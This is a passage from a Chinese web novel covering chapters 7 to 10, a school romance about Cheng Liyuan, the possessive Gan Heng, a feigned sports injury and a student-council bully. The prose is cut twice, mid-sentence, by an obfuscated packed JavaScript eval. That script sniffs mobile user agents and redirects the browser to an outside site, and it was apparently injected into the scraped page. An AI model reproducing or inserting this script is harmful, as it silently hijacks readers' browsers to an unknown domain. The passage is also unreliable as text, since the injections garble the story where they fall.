她今天来找程荔缘闹,何尝不是想遇到甘衡,当面挽回人情。 李婉铧心下欣喜,客气地说:“是甘总的儿子吧,真是一表人才,那天都是误会,阿姨情绪不好,误伤到你了,在这里给你道歉。” 甘衡:“以后你再出现在程荔缘一百米范围内,你肚子里的孩子就没了,还是说,你更喜欢生下来,再失去。” 他表情没一点起伏,和和煦煦的,外人看着很平静礼貌,甚至有一点温良,在和李婉铧沟通。 他说的每句话都很舒缓,李婉铧也听清了每个字,大脑反应过来,情绪没跟上。 甘衡的表情,整个人散发的气质,和他的话完全是分离的。 程荔缘赶过去时听见了。 像一朵半透明的高原蓝玉簪龙胆,露珠滢滢,山海清雅,喇叭口张开,露出滴下毒液的蛇结。 李婉铧没有这样程度的感受,但她听得懂威胁。 “你……!” 仓皇中,她惨白了一张脸倒退半步,转身逃离,看都不敢看甘衡一眼。 甘衡家那样的社会地位,要她出事轻而易举,凭他背景也不会起任何波澜。 他说起她肚子里孩子的语气,就像在谈论一坨菜板上的肉。 李婉铧胸口一阵发闷,逃出了几百米,扶着垃圾桶吐了一场,终于意识到,她一开始就犯了极其严重的错误。 甘衡是魔鬼的儿子,是另一个阶层的人……程揽英生的好女儿,连这种魔鬼都能迷惑,还亲自护着她。 李婉铧心里腾起万般情绪,程揽英专门把女儿训练得人畜无害,就是为了勾引甘霸原的儿子,讨好董芳君,谁不喜欢自己未来的儿媳妇乖巧不作妖呢。 校门口,眼看甘衡一来,围观人数立即增加,程荔缘扶额:“谢了,快回去吧。” 甘衡看着她,阳光下眼睫毛茸茸的,一点也不像刚刚才说了那么可怕的话。 “嗯。”他用完全柔软无害的语气说,还点了点头。 保安阿姨以为甘衡见义勇为,挺身而出维护同学,临走还大力夸了他两句。 回了教学楼,甘衡却往班主任办公室的方向走去,程荔缘顿生不详预感:“你去哪。” 甘衡步伐不停:“身为纪律委员,出了这种事,必须要跟马老说的。” 程荔缘一阵头痛,追上他压低了声音:“你不是都被撤职了吗。” “哦,甘衡?”马维刚好从办公室出来,看见了他们,“……程荔缘?” 程荔缘是个很稳重低调的学生,表情不多,现在却有点气急败坏,好像想拦住甘衡。 印象中这两个学生八竿子打不着关系,从未同框出现过。 甘衡:“马老师,有事跟你报告,跟程荔缘有关的。” 他眉头蹙着,任谁也不会怀疑事情严重性。 马维看了他一眼:“进来说。” 程荔缘心里一阵绝望,亦步亦趋跟着甘衡进了办公室。 8. 第 8 章 马维跟保卫室确认后,让保卫室再看到李婉铧,直接驱离。 他给程揽英打了个电话,如实转告,程揽英在电话里认真感谢了他,对程荔缘说:“缘缘,今天晚自习下课我来接你们。” 等马维放他们走了之后,程荔缘心累得话也不想说。 “跟上。”甘衡轻声说。 程荔缘没说话,拖着脚步跟了上去。 不论她愿不愿意,他是第二次维护她了。 甘衡走到一个僻静角落,这里种了枫树,红黄鲜艳,还能闻到远处丹桂的甜香。 再过两周,就是初冬了。时间过得很快。 “快点吧,我还想回去睡会儿觉。”程荔缘说。 甘衡停下脚步,回身望向程荔缘,他眼底模糊,情绪难辨:“怎么会被欺负成这个样子。” 仿佛在说,如果换成他家里遇到这种事,事情不会是这样子。 他语气流露出清淡的阴狠,阳光和枫叶在他头顶,好看得就像开放大世界里的五星角色,可是怀孕这两个字对他来说仿佛没有任何温度,仅仅是医学名词。 这才是程荔缘记忆中熟悉的甘衡。 甘衡小时候就是这样。董阿姨善良正直,对甘衡也很关爱,但他的思考回路,三观体系,好像跟她完全不一样,感觉在置敌人于死地时,他不会管对面男女老少,会众生平等地碾压过去,直到敌人再也无法开口。 此时他脸上有一些奚落,有一点阴暗。 程荔缘突然就想到了在甘霸原车子上看到的那一支不属于董芳君的口红。 程荔缘:“离婚后他们是他们,我们是我们,那家人已经和我没关系了,不管怎么样,谢谢你。” 她只想快点回教室。 甘衡看着程荔缘。 她有一点不高兴,表情是礼貌的,没之前那么拒人千里之外。 脑袋顶看不见发旋,发长刚好及肩,在脑海扎了个很短的低马尾,没什么发型,头发和脸都很干净,衣服也很柔软,靠近他时,他能闻到她身上萦绕的气味,有一点山茶花的甜,还有另外一点让人不停想闻的气息,像牛奶,还像温稠的小米香。 比她小时候身上干净的纯棉气息,多了无法解读的少女味道。 他的大脑和生理,好像被分开了,程荔缘仅仅是在呼吸,他觉得她手段了得。 ……信息素也了不得。 日记事件后,他觉得“就算是从小一起长大,也不过如此”,当时缓慢的冲击过去,傲慢让他不甚在意,却解释不清目光依然自动追踪她。 身体离开了,精神体却仿佛一直在她身边徘徊。 甘衡归结于惯性。哪怕从小照顾一条流浪狗,狗狗反咬了主人,主人还是会有几分念旧。 再看程荔缘,甘衡更觉得她像一只小狗,只属于他的小狗,以前会依赖他,现在长大了一些,忽然变得很聪明,有点小牧羊犬的感觉了,毛毛支棱着,有点乱,比以前奶茸茸的短毛更加可爱,看到他会假装看不见,会躲,非常机灵。 她绕着他打转,不是因为喜欢,是因为他手里有吃的,现在她远远躲开,再也不想看他一眼。 还是说,是别人能给她更好的东西,所以她去别人那边摇尾巴了。江斯岸和她互加微信的一幕,又浮现眼前。 甘衡:“……”他呼吸变得很慢很深。 作为一个正常人,程荔缘嗅到了危险气息,甘衡看着她却不说话,眼神让人毛骨悚然。 程荔缘谨慎说:“如果你没有其他意见,那就先这样,我回去了。” 她从他身边经过,身体都是绷紧的,好在甘衡没有动。 程荔缘加快脚步回了教室。 晚自习下课,程揽英来接她了。 “程阿姨好,”甘衡站在她旁边,十分礼貌地弯腰打招呼,“好久不见了。” 程荔缘:“……” “诶,”程揽英热情地说,没注意到她表情,“岑岑快上来,今天程阿姨送你,跟你妈妈也说过了。” 甘衡打开后车门,让程荔缘先上去。 程荔缘一声不吭地坐上去,往里让了让,这里离学校较远,没人看见他们,幸好她提前跟程揽英打过招呼,说她要在这里买东西,让程揽英在这里等。 甘衡也坐了进来,关上车门,空间顿时又产生了拥挤的错觉。 第二次同车了。 她妈妈新购置的这俩车没有她家以前那辆好看,胜在空间大,越野车型耐造实用,还可以自驾游。 问题是第二排中间没有隔断,座位整个连在一起的,她和甘衡之间的距离,比上次更近。 “今天晚上没去那边训练呀?”程揽英边开车边问。 甘衡又变成了那个最正常版本的他,也是程荔缘在长辈面前见惯的他。 “嗯,一周时间不是固定的,刘教会提前通知。”甘衡说,没有让谈话封闭,另外说些学校的事,和程揽英一路聊得热闹,好像他才是程揽英的亲小孩。 ……此景此景,有一点似曾相识。 程荔缘想到上次,看着车窗外。 “阿姨,程荔缘在YBX的课时卡还没用完,有空去把课时消了吧,高一还有课余时间,到了高二时间就不够了,高三就要备考冲刺了。”甘衡说,“拖太久,不划算。” 程荔缘:“……”她以前不知道甘衡这么嘴碎。 可是他每句话都说的很真诚,听在长辈耳中特别讨喜,十分有信服力。 程揽英:“对噢,去年暑假本来要去的,行,缘缘你看你平时什么时候有空,就当锻炼身体了,争取高一学完,高二你们学校压力肯定会更大。” 甘衡认真说:“一个人去不如我带她去,最近我训练时间多。” 程揽英:“可以可以,有你在旁边,阿姨也放心点。” 程揽英看甘衡提到这些,还以为是程荔缘私下和他说的,他们关系还是以前那样。 程荔缘想拒绝,可那样她妈妈肯定会发现问题。 程荔缘撑着脑袋,一句话也不想说了。 “班上情况如何呀,你俩适应得还好吗。”程揽英说。 “挺好的,大家都很单纯,程荔缘也很爱帮助人,还被选了生活委员,嗯,就是劳动委员。”甘衡说。 程揽英一听,“哎唷”一下顿时笑出了声,甘衡也笑了起来。 程荔缘忍不住了:“有什么好笑的。” 她妈妈上气不接下气的:“你在家里能坐着不站着,能躺着不坐着,油瓶倒了都不扶的,居然是生活委员。” 甘衡在一旁微笑不语,程荔缘感觉脸上有薄薄的热度升腾。 程荔缘:“上个生活委员在医院确诊了焦虑症,回家休息去了,马老让我接管的。” 程揽英不笑了,关心说:“这才开学快两个月啊,你同学是学习压力太大了?” 程荔缘:“临江一中本来竞争就很激烈。”她也是努力在宣平考到了中考年级前三十,才通过宣平和临江一中的直升通道,进了临江一中。 要维持中等再靠前一点的成绩,她付出了全部努力,不像黄秋腾还能摸个鱼。 理科这个思维,好像是天生的,黄秋腾做数学卷子很容易,拿到一道难题就知道怎么解,她用笔给程荔缘演算,第一步思路就和程荔缘差很大。 但黄秋腾从来没有建议她转文科,反而说:“理科好找工作啊,你哪道题觉得吃力,就来问我,除了化学,我都还可以,化学你可以找吴放。” “你就是不想分科分班和我不在一起吧。”程荔缘缓缓说。 “嘤嘤嘤,人家就是不想换同桌啊。”黄秋腾一提这个就生怕程荔缘对理科失去信心。 程荔缘回过神,心情好了一些,幸好她还有黄秋腾他们。 程揽英:“要不请个假我带你出去玩吧,中秋节国庆节你都没出门。” 程荔缘:“不用,我还要写卷子……”其实她喜欢玩探索大世界的游戏,走走停停,很解压,所以比较宅,但她不想让程揽英发现她爱打游戏。 甘衡接过话题:“阿姨,学习压力大可以多去运动锻炼。” 程揽英:“是啊,缘缘平时太宅了,让她下楼她就不爱动,以前你们两个小学放学了经常出去一起活动,这样就很好,小孩子就是要户外活动,多晒太阳才能长高,你们小时候差不多高,现在你看,你比缘缘高那么多,早知道我就该逼她多喝牛奶多吃鸡蛋多跑步的……” 程荔缘听不下去了:“妈,身高和基因有关系!” 程揽英:“我和老钱也不矮呀,你就是太阳晒太少了。” 程荔缘不吭声了。她总不能说拿甘衡举例子。 甘衡笑说:“她才高一,有的人上了大学还能长个呢,我多带她去锻炼就可以了。” 他在程揽英那边又刷了一波好印象,等程揽英把他送回小区,还在车上跟程荔缘夸甘衡,让程荔缘多和甘衡一起玩。 说了五分钟。 程荔缘逆反心上来了:“妈,你是不是想我和他谈恋爱啊?” 程揽英很惊讶:“为什么这么说?” 程荔缘:“那你一直说让我跟他多玩干什么,我在班上多跟他说话,马上就有人造谣我们谈恋爱,班主任就要请家长了。” 程揽英以为她在开玩笑:“真的呀,那你们班喜欢岑岑的小姑娘肯定多,这孩子小学就有女孩子围着送他各种东西,幼儿园里也是,你董阿姨生怕他骄纵了,管得很严,岑岑没早恋,也很有自制力。” 程荔缘替全班女生反驳: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207328|181283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “才没有,我们班女生对他态度很正常。” 程揽英:“噢那挺好的,学习氛围浓厚。” 程荔缘也说不清楚心里那一点别扭:“那你为什么当初离婚后,跟我说什么,让我以后一定要找个对我好的富家子弟,感情没有了,还有钱。” 程揽英完全忘了这茬,非常茫然:“我还说过这话?” 程荔缘板起脸:“就是你说的。” 程揽英想了半天,有一点模糊印象:“是我跟董阿姨聊天时候说的?” 程荔缘面无表情:“嗯。” 程揽英细心解释:“我和钱友让是大学谈的恋爱,你董阿姨头脑特别清醒,是自己工作后相亲相了很多个,然后才选了你甘叔叔,我离婚后,觉得她做的决定才是稳妥的,婚姻不是谈恋爱,还是要考虑很多别的东西。” 程荔缘没说话。 程揽英把女儿当朋友一样聊着:“我不希望这些一时的话影响到你,恋爱和婚姻是你自己的事,是你自己的选择,你老妈自己就是做咨询的,接待过很多那些假开明的家长,表面说让孩子自己选,结果孩子选什么,他们就把那个选项排除掉,长期以往,孩子遇到什么就说随便,完全封闭交流,那些家长又要抱怨,孩子为什么不跟他们沟通,不跟他们说话。” 程荔缘:“……嗯。” 程揽英又开玩笑:“当然,你要是找到岑岑那样的,老妈也不反对。” 程荔缘淡漠:“不可能。” 睡觉前,程荔缘收到一条新消息。 那个许久没出现的头像,一下子跳到了最上面。 对方直接发来了语音。 甘衡:“江斯岸父亲让手下替自己坐牢。” 程荔缘一下子皱起眉,不知道甘衡说的是真是假。 甘衡仿佛隔空能感应她在想什么:“是真的,经济犯罪。” 他发来了一个截图,上面是内部文件,显示的是法院判决,还有其他资料,证实被告和江斯岸父亲的关系,太复杂了,程荔缘只看了几眼就关了。 她知道他的潜台词,不要在我不在的时候,跟江斯岸去上课,不然我跟程阿姨说。 程荔缘近乎气笑。 她噼里啪啦打了一行字,盯着看了半天,回车键全清空了。 她不要再陷入过去重复的模式。 他的这些钓鱼行为,只会钓上来空气。 程荔缘没有回复甘衡,扔开了手机。 卧室很安静,黑胶造型的蓝牙音乐盒发出荧荧蓝光,水波纹一样散开,浮现在床头和天花板上,程荔缘戴着耳机,听着助眠白噪音,不知不觉睡着了。 甘衡望着天花板,他房间很大,天花板上有星空灯效,躺在床上,仿佛漂浮在茫茫宇宙。 程荔缘没有回他。 甘衡眼帘半垂,盯着手机,过了半晌,才按了息屏键。 半夜,程荔缘醒了,揉眼睛下床,出去上厕所。 客厅阳台上开着夜灯,她妈妈站在那边打电话,不时“嗯”两声,有些客户在国外打拼,特别有钱,但拿自己的小孩一点办法都没有,遇到紧急情况,还是会找她妈妈,不过这样的情况很少,两边有时差,客户也知道大晚上打电话不礼貌。 换她半夜被吵醒是受不了的,程荔缘佩服之余,又觉得有点沉重。 她站在那边没有动,程揽英刚好打完电话,回头发现女儿一动不动穿着睡衣站在客厅,吓了一小跳。 “吵到你了?”她赶紧走过来。 程荔缘摇头:“就是觉得你太辛苦了。” 程揽英过来抱抱她:“不辛苦,这才两点,我今天本来就在赶资料,这不是完了我就去睡觉了,你也赶紧睡。” 程荔缘不满:“为什么非要这个时间打,其他时间打给你不行吗。” 程揽英从来不避讳和程荔缘聊这些:“这个客户的丈夫出轨了,她最近情绪很不好,和孩子关系也变得很差,刚刚情绪崩溃,不知道该怎么办,就给我打了个电话。” 她没有因为自己家里发生的事,就回避相关话题,这样对孩子反而不好。 程荔缘站住了。 程揽英:“怎么啦。” 程荔缘抬起头:“其实那天在甘叔叔的车上,我看到……” 她把口红的事情跟程揽英说了,程揽英一直专心听着。 程荔缘说完后,程揽英想了想:“这件事,先不要跟任何人提起,平时就当不知道,不要有保守秘密的负担,也不要怕不说出来,就对不起董阿姨什么的,你做的很棒,先告诉了我,妈妈已经知道了,你先把它放在一边,好不好。” “好。”程荔缘感觉心里有一块压着的石头被拿掉了,如释重负地松口气,上完洗手间就回房间躺下了,一夜无梦。 9. 第 9 章 程荔缘是生活委员,学生会人手不够,他们班这周轮值,巡视各年级卫生。 为了公平公正,扣分情况会拍照录像,所以值日的学生允许带手机。 班长为了不受游戏和社交媒体的诱惑,用的是一款小学生智能手表,只有定位、付费和通话功能。 其他同学哈哈哈地笑着翻她手腕,欣赏她的儿童手表,班长还一脸淡定,坐在那随便大家看。 节省了玩手机的时间,她成绩是全班前三。 程荔缘特别佩服班长的自律,有这样的自制力,做什么都会成功。 班长:“荔缘,麻烦你把手机带上,拍得更清楚。”她叫三个字的同班女生,都是只叫后面两字。 “好。”程荔缘说。 到了高二某班,后门外有零食袋子还有空牛奶盒,班主任在里面讲话,门是关着的。 程荔缘猜是后排某个学生偷吃零食,又偷偷扔出来,今天是突击卫生检查,没有事先通知。 程荔缘问班长:“要扣分吗?” 班长本身也是学生会的:“扣,拍。” 程荔缘拍照录像,在表上扣了分,检查完之后,班长把统计表发给了学生会负责人。 下午,有人过来找今天轮值的学生,也就是程荔缘和班长。 班长不在,程荔缘就出去了,看到一个高二女生。 “是你今天拍的我们教室后面有垃圾吗。”那女生说话有点质问的味道。 程荔缘:“是的。” 女生:“我徐柠晚,学生会的,我们班一直都是满分,垃圾肯定是有人故意扔我们班后门的。” 程荔缘彬彬有礼:“值日生只负责检查结果。” 徐柠晚没想到这个高一新生居然不配合,一般人听到她这么说都会犹豫。 徐柠晚再次强调:“我说了,垃圾跟我们班没关系,你不能这样扣我们班的分。” 程荔缘眨了眨眼:“这事我做不了主,学姐你去找学生会的吧。” 说完转身回了教室,徐柠晚看着她好几秒,转身走了。 黄秋腾:“什么情况,圆儿,刚谁来惹你?” 吴放闻言回过头来,陈汐溪也转过身:“怎么了。” 程荔缘说:“没事。”三言两语跟他们说了。 黄秋腾嫌弃道:“这人好不讲道理啊,你有录像的,不用理,学生会奇怪的人就是多。” 陈汐溪点头:“对,有证据就行,不用跟她掰扯。” 吴放问:“她叫啥名来着?” 程荔缘:“她说是徐柠晚。” 吴放:“那不是校篮球队那个石澄宇的女朋友吗。” 黄秋腾一听有八卦瞬间来了兴致:“石澄宇是谁,他们怎么了,学校不是不让谈恋爱?” 吴放招招手,四人窗边小分队把脑袋凑近了一点。 “那个石澄宇,校篮球队队长,加上成绩不错,就没人主动去惹,”吴放慢条斯理地说,“徐柠晚的妈妈是检察院干部,她在学生会里也混得开,他们暗地里谈,没人抓得住,大家估计也不想得罪他们。” 甘衡和萧阙去小卖部买饮料,回来就看到四颗脑袋凑一起,程荔缘的脑袋和吴放的脑袋都快挨上了,一点不避嫌。 萧阙看了甘衡表情一眼,不动声色离他远了一点。 甘衡走过去拿功能饮料撞了下吴放的肩膀,脸色恢复如常:“在说什么?” 吴放转过去拿了饮料,一边谢了他们,旋开瓶盖:“在说石澄宇和他女朋友,你们不是要加入校篮球队吗,那个石澄宇有点不好惹啊。” 甘衡加入进来,程荔缘就不说话了,三个女生也回正了位置,该干嘛干嘛。 甘衡笑说:“有多不好惹。” 吴放喝了一口饮料:“副队长退队了,听说就是被他排挤走的,他家里好像很有门路,和校长有点关系,反正很社会,你俩当心点。” 一中并不是所有人都知道甘衡的家世,网上查不到,只有少数人能从家里长辈那边听说。 甘霸原低调至极,平时从不在新闻和社媒上出现,很多人都不知道他姓名,自然也不知道甘衡是他唯一的儿子。 石澄宇那种嚣张在外,毫无顾忌的,会让普通学生避开更远。 吴放:“哟,再来一瓶,程荔缘,送给你。”他转身把瓶盖给了程荔缘。 甘衡看着吴放自然到一气呵成的动作,眼帘微微阖了下。 黄秋腾惊讶:“你怎么不给陈汐溪?你怎么不给我?” 吴放:“我上次给陈汐溪,她说她不收破烂,程荔缘不是生活委员吗。” 程荔缘本来还拿起瓶盖看了一眼,听了把瓶盖塞他衣领子里了:“您拿好。” 陈汐溪在旁边吐槽:“他就是这么抽象。”“不儿?”吴放每次一被陈汐溪吐槽,必然要找回场子,马上跟陈汐溪拌起嘴来,黄秋腾说他坏男和女斗,他根本不理,哼唱死侍里面的bye bye bye。 吴放一唱歌,附近女生都会抿嘴笑扭过头,因为他其实唱的很好,跟吃了CD一样,手虚握成拳模仿麦克风的样子,陈汐溪撑脑袋,手把半边脸遮住,表示我不认识此人,面无表情刷题。 奢侈的课间十分钟,教室里都是吴放清澈磁性的歌声,周围人也从笑场变成了真的有在听。 有女生看着吴放,眼睛里闪着细碎的光,笑容洋溢地捂住嘴和同桌说着什么。也有人跑出去拿了手机,溜回来录视频的。 或许是甘衡太遥不可及高不可攀了,班里女生习惯了他的存在以后,似乎只把他当大熊猫,门面担当,可以观赏,但没人对他真有啥想法,倒是暗恋吴放的,还真有那么一两个。 吴放唱完,原本安静的教室爆发出喝彩,还有吹口哨的,很多人要他再唱一首,吴放淡定地把打印的收款码立在了桌子上。 “切。”大家纷纷散开,该干嘛干嘛。 “我们班好像没会唱歌的女生,不然可以跟你出一个合唱节目,”陈汐溪认真说,“樊子倩正在想我们班出什么节目呢。”樊子倩是文娱委员。 吴放说:“一定要双人合唱吗,就不能大家一起上去啊。” 陈汐溪:“你认真点!这次文艺汇演,那些来交换的老外同学也要来看的,学校特别重视。” 班上的小美女樊子倩正好过来:“吴放,你出个节目,唱什么都可以,我问谁都不想上。” 谁当班委谁是牛马,一向精力旺盛的樊子倩脸上有了班味,下次班干部选举她一定要辞职。 吴放的傲娇少爷脾气又发作了:“一个人在台上又唱又跳好傻,你就算去请老马,我也不上。” 樊子倩死鱼眼看着他:“陈汐溪,要不你陪他上吧。” 陈汐溪急了:“我五音不全的!”“黄秋腾?”“俺只会唱国歌。” 樊子倩:“那完了,这次文艺汇演要评奖,二班出了合唱节目,报了评委,被选上了,我们班一个节目都不报的话,就等着老苟去跟老马炫耀吧。” 苟利民是二班班主任,有点子碎嘴在身上,经常找马维攀比成绩攀比学生。 程荔缘跟吴放确认:“有人陪你,你就答应?” 吴放想也没想:“嗯啊。”他抱着双手看陈汐溪,陈汐溪冷冷瞪了他一眼。 樊子倩看着程荔缘,仿佛看见了希望的曙光:“你有什么主意?” 程荔缘缓缓说:“要不我们全班站他后面,组成那种人形波浪吧,就蹲下,起来,蹲下,起来,……” 樊子倩深深看她一眼:“那我今天组织大家彩排,你来教。”“……那算了。” 班长回来了:“一定要唱歌吗,没人会跳舞,会乐器什么的?” 樊子倩:“我们班文娱沙漠,合唱是最不暴露短板的了。”连她这个文娱委员,也是因为光长了一张文娱委员的脸,才被老马任命的。 “诗朗诵呢?”“其他班已经出了。” 她们虽然在讨论,也没有拿什么大道理去压吴放。 程荔缘不想让她们烦心,却不能主动提,其实还有一个人会唱歌。 否则到时候,解释不清为什么她知道甘衡会唱歌,万一甘衡说自己不会唱…… 她无意间抬头,碰上了萧阙的目光。 萧阙询问地看着她,或许是以前和萧阙认识,仅仅一秒,程荔缘就理解了他无声的意思。 萧阙:你不是也会唱歌吗。 程荔缘以前上过声乐课,还是董芳君帮找的音乐学院老教授,美声穿云裂石,流行唱法也信手拈来。 萧阙知道不奇怪,因为那个老师也教过甘衡。 程荔缘对萧阙微不可见地摇摇头。萧阙没再有其他表示。 “算了,报不了不是什么大事,还有运动会呢。”最后还是樊子倩安慰他们。 周三,外面下起毛毛雨,体育课改到了户内上,多功能体育活动馆很大,他们一个班自由活动,有些人打球,有些找了围棋来下。 程荔缘也跟黄秋腾、陈汐溪她们去打羽毛球,其他班也在上体育课,球拍不够了。 “我们班不是还有一副球拍吗?”体育委员丁洋说,“我去拿。” 各班可以班费购置体育用品,统一存放在器材室,其他班也可以借,这副球拍是丁洋从家里带来的,质量还挺好。 程荔缘和黄秋腾跟了上去,丁洋人开朗随和,羽毛球也打得好,长着一张娃娃脸。 “大洋子,待会教我怎么接球?”“行,包教会。”丁洋答应着黄秋腾。 器材室的人把球拍拿了出来,丁洋愕然:“球拍怎么成这样了。” 拍线断裂,拍框变形,感觉像是被大象踩过。 器材室的人说:“不是你们班的人自己借的吗。” 丁洋知道班上没人会这样用球拍:“老师,我看下出借记录。” 后勤老师把器材借用登记表拿来了。 程荔缘和黄秋腾站在他左右两边,丁洋找到了上次借的人,高一一班,徐柠晚。 丁洋立即指出:“这个人不是我们班的。” 不光如此,完好程度那一栏也漏填了,也没确认签字。 器材室老师说:“她跟我说她是你们班的,羽毛球拍是你们自己买的,不用赔偿。” 程荔缘突然说:“徐柠晚是高二一班的。” 器材室老师:“哦!那不就是了吗,估计填错了。” 这个老师明显不太负责,仿佛是走关系进来的,态度倒是好,就是说来说去,让丁洋自己去找这个人。 程荔缘:“不用找了,我认识这个人。” 黄秋腾也想了起来,顿时气愤:“这不就是那个徐柠晚!” “嗯,先别管她。”程荔缘点点头,借了乒乓球拍,让丁洋带她们打乒乓球去,一到球桌,大家逐渐忘了刚才的不愉快。 一班男生在跟其他班的人打篮球,甘衡和萧阙也在里面。 甘衡和萧阙配合,不断得分,球鞋和地板的摩擦声此起彼伏,围着看的学生眼睛都跟着他跑。 几个高二男生路过,其中一个寸头男生看到甘衡,眯了眯眼。 “甘衡,萧阙,是体育课就来篮球队训练,”石澄宇懒洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207329|181283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋地朝他们喊,“欺负业余的有意思吗?” 甘衡和萧阙对视一眼,过去了,提起T恤下摆擦了下汗,露出平坦结实的腹肌,不过只是一闪而过,“队长?” “走,跟我们去那边打一场。”石澄宇说。 程荔缘去喝水时经过篮球场,看了两眼,慢慢停下脚步。 甘衡在和高二的打篮球,对方好几次故意撞在他身上,小动作也很多,扯衣角,踩球鞋,表情却像是打得太投入了没注意,一点抱歉的意思都没有。 程荔缘这个角度看更明显了,那个之前吃饭时撞到过她的寸头,假装紧贴防守,手肘却在推甘衡背部,导致甘衡接边线球时一个踉跄。 甘衡稳住了就继续跑动,似乎相当专注,眼神都在队友和球上,没有注意这些小动作。 程荔缘皱起眉,走近几步。 突然,人群爆发叫喊,萧阙传球,甘衡抢断后快速运球推进,他速度很快,动作很轻,看上去毫无阻力,往往人眼一个没看清,就得分了,负责常规教学的体育老师也被吸引,走到一边和篮球特长教练评论甘衡的天赋,两个人都没有注意到高二那些人的犯规行为。 程荔缘越看眉间川字越深。 甘衡滑雪出过事故,当时他膝盖出问题,差一点就终身轮椅了。 程荔缘想起了董芳君当时和医生的对话。 董阿姨脸色惨白,眼圈发红,她妈妈程揽英一直抱着董阿姨肩膀安慰。 程荔缘感觉心里升起微弱的火气。这个人怎么回事,把医生的话全忘了吗? 她此时被动操心,注意力不得不放他身上。 甘衡上篮刹那,墨菲定律应验,对方推了他的腰,伸腿一勾,甘衡被绊倒了,背部着地,那一声很沉闷,甘衡躺在地上一时半会没起来。 程荔缘心脏漏拍,呼吸屏住。 对方一脸无辜地举起手,然后关切地弯下腰,询问甘衡是否OK,作势要拉他起来。 体育老师和教练都过去了,人群围着,比赛中止,萧阙把甘衡扶了起来,对教练说了什么。 “是扭到了吗。”教练也没想到甘衡会受伤,严肃地查看甘衡,甘衡是冰球运动员,受一点伤就会影响训练,“来,你扶他这边,我扶这边,先去医护室看看。” 甘衡摇摇头,表示自己没什么大事。 程荔缘分明看到石澄宇在人群之外,和自己朋友相视一笑,还击了下掌。 “荔缘,秋腾跟我说了,徐柠晚故意弄坏了丁洋的球拍?”班长找到了她。 程荔缘看着教练坚持带甘衡往医护室走,他们扶着甘衡,逐渐走远。 “班长,”程荔缘冷静地说,“明天课间,我们一起去找徐柠晚沟通,我现在有点事,忙完就来找你。” “没问题,我也是这么想的,你先去。”班长点点头。 程荔缘直接往医务室那边走去。 路上她刻意经过了石澄宇那边,听到石澄宇朋友一句话飘了过来:“哈哈哈,那装货,明天训练让他旁边坐着看,等他好了再整他一次,让他自己申请退队……” 程荔缘看了他们一眼,记住了长相。 医务室。 医生帮甘衡初步检查了下:“具体哪个位置疼?” 甘衡指向脚踝外侧:“刚才落地时歪了一下,现在有点胀。” 医生按压了下:“这样疼不疼。” 甘衡:“疼,还有点酸。” 医生让甘衡单脚站立测试平衡,甘衡维持了半秒就坐下来了,医生看他脚踝处出现了肿胀:“轻度软组织挫伤,冰敷观察两天,暂时别剧烈运动。” 说完让护士给他拿来了冰袋,让他先敷个十五分钟再回去,教练见问题不大,总算松了口气,让甘衡好好休息,他会给他们班主任解释一下。 “我先回去,下节课帮你跟老师说一声。”萧阙说。 等所有人都走了,房间安静,甘衡一个人躺在那冰敷。 开着的门被叩响,他抬起头,程荔缘站在门边。 甘衡没说话,眼睛盯在程荔缘脸上,缓缓打量她的表情,静默两秒,唇角似乎动了动。 程荔缘没理他,回头看了看,确认这边暂时不会有人来,进了房间。 “你到底想干什么。”程荔缘站在床尾问他。 “什么意思。”甘衡轻声说,眼睛里一片懵懂。 程荔缘:“如果你自己不想受伤,没人能让你受伤。” 冰球正式比赛是一回事,小打小闹的高中生课外活动是另一回事,就算在冰球场上甘衡也极少受伤,他对身体的控制力非常惊人,闪避是他的天赋强项,何况没有冰刀鞋加速的篮球。 甘衡唇角微不可查上扬:“你真是高估我了。” 程荔缘轻吸一口气,无声吐出,“别玩了,可以吗,玩脱了真严重受伤怎么办,要我给董阿姨打电话?” 甘衡依然无辜:“不是你打还能是谁?” 程荔缘看了他三秒。 “那你演吧。”她转身离开,刚好萧阙就走了进来,程荔缘定住。 甘衡望着萧阙,好像他是个误入现场的破坏分子。 萧阙:“我回来拿东西的。” 他走进来拿起椅子上的外套,越过程荔缘,出去之前还认真带上门。 程荔缘:“……” 甘衡从半躺着,慢慢坐了起来,上身前倾,语气轻柔:“听石澄宇的朋友说,他女朋友找你麻烦。” 程荔缘呼吸一窒,近乎本能倒退一步。 他总是在私下和她单独相处时,才摘掉社交面具。 10. 第 10 章 程荔缘:“和你没有关系。”说完这句她就走了。 甘衡盯着她的背影消失在门口。 程荔缘好像真的只是因为董芳君的原因,才过来跟他说这些。 课间操结束,程荔缘跟着班长去了高二一班。 班长:“同学,可以请你们班徐柠晚出来一下吗,我学生会的,找她有点事。” 对方去了,很快回来了,脸色为难:“徐柠晚说她不认识你。” 原话是,我不认识戴儿童手表的XX。 程荔缘看到徐柠晚悠闲地坐在那,身边围绕着三个男女生,那些人爆发出一阵大笑,还朝门边看过来。 这个距离其实听不见他们说什么,但程荔缘能读口型。 班长心平气和地说:“我知道了,谢谢。” 之后社团活动,班长直接去学生会办公室找了徐柠晚。 “什么球拍,不知道,没借过,写的是高一一班借的,那就是有人故意写我名字吧?我怎么知道不是你们做的?”徐柠晚抱着手臂。 学生会主席和徐柠晚关系很熟,出来劝大家好好沟通,实际上和稀泥。 接下去几天,徐柠晚利用自己在学生会的关系,晚自习巡查时,盯着给他们班打低分。 